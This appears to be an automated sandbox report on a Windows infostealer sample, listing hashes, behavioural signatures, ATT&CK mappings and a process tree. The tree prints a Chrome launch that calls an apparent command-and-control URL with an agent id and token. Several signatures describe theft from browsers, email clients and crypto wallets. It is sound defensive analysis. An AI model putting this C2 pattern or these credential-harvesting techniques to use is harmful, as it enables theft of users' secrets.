Analysis
- max time kernel
149s - max time network
126s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260130-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
25/04/2026, 19:58
Behavioral task
behavioral1
Sample
Build(1).exe
Resource
win10v2004-20260130-en
Behavioral task
behavioral2
Sample
Build(1).exe
Resource
win10ltsc2021-20260130-en
General
- Target Build(1).exe
- Size 337KB
- Sample260425-yqasrag15v
- SHA256 a9091aba78af2e7fc794e8d0c9d17ed34347259fcf79395485135162989f6d83
- MD5 279780ddd4170ee927f49e62269667ea
- SHA1 1ca5e6a1c34fe806f6938086bf3de38b41af98ad
- SHA512 1f8f7da53175f17829b97aef6725d36366d2082517011ead1c61836db7235b1d792090346d178f3440a5847a78ab45651e2232bfe941f40f9a51997a32c4c617
- SSDEEP 6144:XvgEeOcmwvEL7fF1jTA659HSC8AVtZ5XlOHaoIhEFydlt:/8OcZ07bf0OtDlOHaoIndlt
- TLSH T1BA747B8AE7BB54B0D58B0938259FB33BDF3416294328CEC7DBF0DA4475672E21536A06
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Build(1).exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 2976 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134216208795518581" chrome.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 1508 Build(1).exe 1508 Build(1).exe 1508 Build(1).exe 1508 Build(1).exe 3500 chrome.exe 3500 chrome.exe 1508 Build(1).exe 1508 Build(1).exe 1508 Build(1).exe 1508 Build(1).exe 1508 Build(1).exe 1508 Build(1).exe 1508 Build(1).exe 1508 Build(1).exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe - Suspicious use of AdjustPrivilegeToken 12 IoCs
description pid Process Token: SeShutdownPrivilege 3500 chrome.exe Token: SeCreatePagefilePrivilege 3500 chrome.exe Token: SeShutdownPrivilege 3500 chrome.exe Token: SeCreatePagefilePrivilege 3500 chrome.exe Token: SeShutdownPrivilege 3500 chrome.exe Token: SeCreatePagefilePrivilege 3500 chrome.exe Token: SeShutdownPrivilege 3500 chrome.exe Token: SeCreatePagefilePrivilege 3500 chrome.exe Token: SeShutdownPrivilege 3500 chrome.exe Token: SeCreatePagefilePrivilege 3500 chrome.exe Token: SeShutdownPrivilege 3500 chrome.exe Token: SeCreatePagefilePrivilege 3500 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe 3500 chrome.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1508 wrote to memory of 3500 1508 Build(1).exe 91 PID 3500 wrote to memory of 3000 3500 chrome.exe 92 PID 3500 wrote to memory of 2288 3500 chrome.exe 93 PID 3500 wrote to memory of 2976 3500 chrome.exe 94 PID 3500 wrote to memory of 2288 3500 chrome.exe 93 PID 3500 wrote to memory of 4440 3500 chrome.exe 95 PID 3500 wrote to memory of 4440 3500 chrome.exe 95 PID 3500 wrote to memory of 2328 3500 chrome.exe 96 PID 3500 wrote to memory of 2328 3500 chrome.exe 96 PID 3500 wrote to memory of 2984 3500 chrome.exe 97 PID 3500 wrote to memory of 2984 3500 chrome.exe 97 PID 3500 wrote to memory of 228 3500 chrome.exe 99 PID 3500 wrote to memory of 228 3500 chrome.exe 99 PID 3500 wrote to memory of 2504 3500 chrome.exe 100 PID 3500 wrote to memory of 2504 3500 chrome.exe 100 PID 3500 wrote to memory of 1688 3500 chrome.exe 102
Processes
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C:\Users\Admin\AppData\Local\Temp\Build(1).exe"C:\Users\Admin\AppData\Local\Temp\Build(1).exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" ulmudhw.shop/api/set_agent?id=E0677D32BD24956701AEC7B30ADF174C&token=4e92ffe9c8490e49733684aeba8be2ca5f&description=0d5b0d6e95037f7d0d4d809554f3b6d0&agent=Chrome2⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x40,0x228,0x7fff38f3c728,0x7fff38f3c734,0x7fff38f3c7403⤵PID:3000
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1728,i,11276593111421983396,11635429902224915103,262144 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1896 /prefetch:23⤵PID:2288
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1620,i,10304553617270072703,927143270783970891,524288 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2104 /prefetch:33⤵
- System Time Discovery
PID:2976
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2428,i,13083397181085204831,3178404306405209509,524288 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2592 /prefetch:83⤵PID:4440
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3076,i,11294899531374962130,3074963888272640467,2097152 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3208 /prefetch:13⤵PID:2328
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3088,i,1874570336730521477,1699764747005870339,2097152 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3244 /prefetch:13⤵PID:2984
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4192,i,9886167118085594151,6150195943678379699,2097152 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4204 /prefetch:23⤵PID:228
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4536,i,8460503698141926021,12423162159582606092,524288 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3056 /prefetch:83⤵PID:2504
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5340,i,10023901248675019348,6486846695457122098,524288 --field-trial-handle=1776,i,6223866888580959031,17625834180123920755,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5236 /prefetch:83⤵PID:1688
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:2388
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 7ec7a19fe04d999f4d31e0c9acc5f5904028940d475dfd0148321c7f55c74293
- MD5 910986dce27bcacb28bdc922b2e20cd7
- SHA1 4b14942e18419cc15eae3fb6aaeb475be1544565
- SHA512 1dc7ca30bc3b2749cfb911fc36d18d6a1a3244a297616ca607c747910df95988a7ab7b11e6c9e61ac6612308c95ece7590352d8db85280a06952a3197c44efab
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2Oh+DmVumrnx:1nbZeMrv/hGt0Knx
- TLSH T1A1D3994B3A743002EDE59A721CE050BB5E3CB16D4F55A5D5287620688EF2963B23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 89KB
- SHA256 c91b931b19de1f0747fd93db37afeeb648487576ce97c1166bb91496e45640c9
- MD5 48ecc242ee0494ba6b5f7db9c5d5736c
- SHA1 a003800cf9d2a086db5aff11ef827658274e836f
- SHA512 41775ce150537e4e32cdd8765e0a2cb68c37a7c717affa4c020b218db89516c71ebd9a0e50fd0cb34a732b9ea55acc29ab79cbedd5d8f5f5fd95711b91ffe4d3
- SSDEEP 1536:MFKWlBshIZW8wI/Yc5hJxedCj/S2uJYgtLaEmNsXtZdzqRatPk:eDlBshIZZwINsIrS2uJBLpAkLQqk
- TLSH T12D9302B73EA6DC33C59C4102A93C2A4D6BC4F5E9C829F66658CA777F41F2BE99103112
- MD5 SHA1 SHA512 SSDEEP TLSH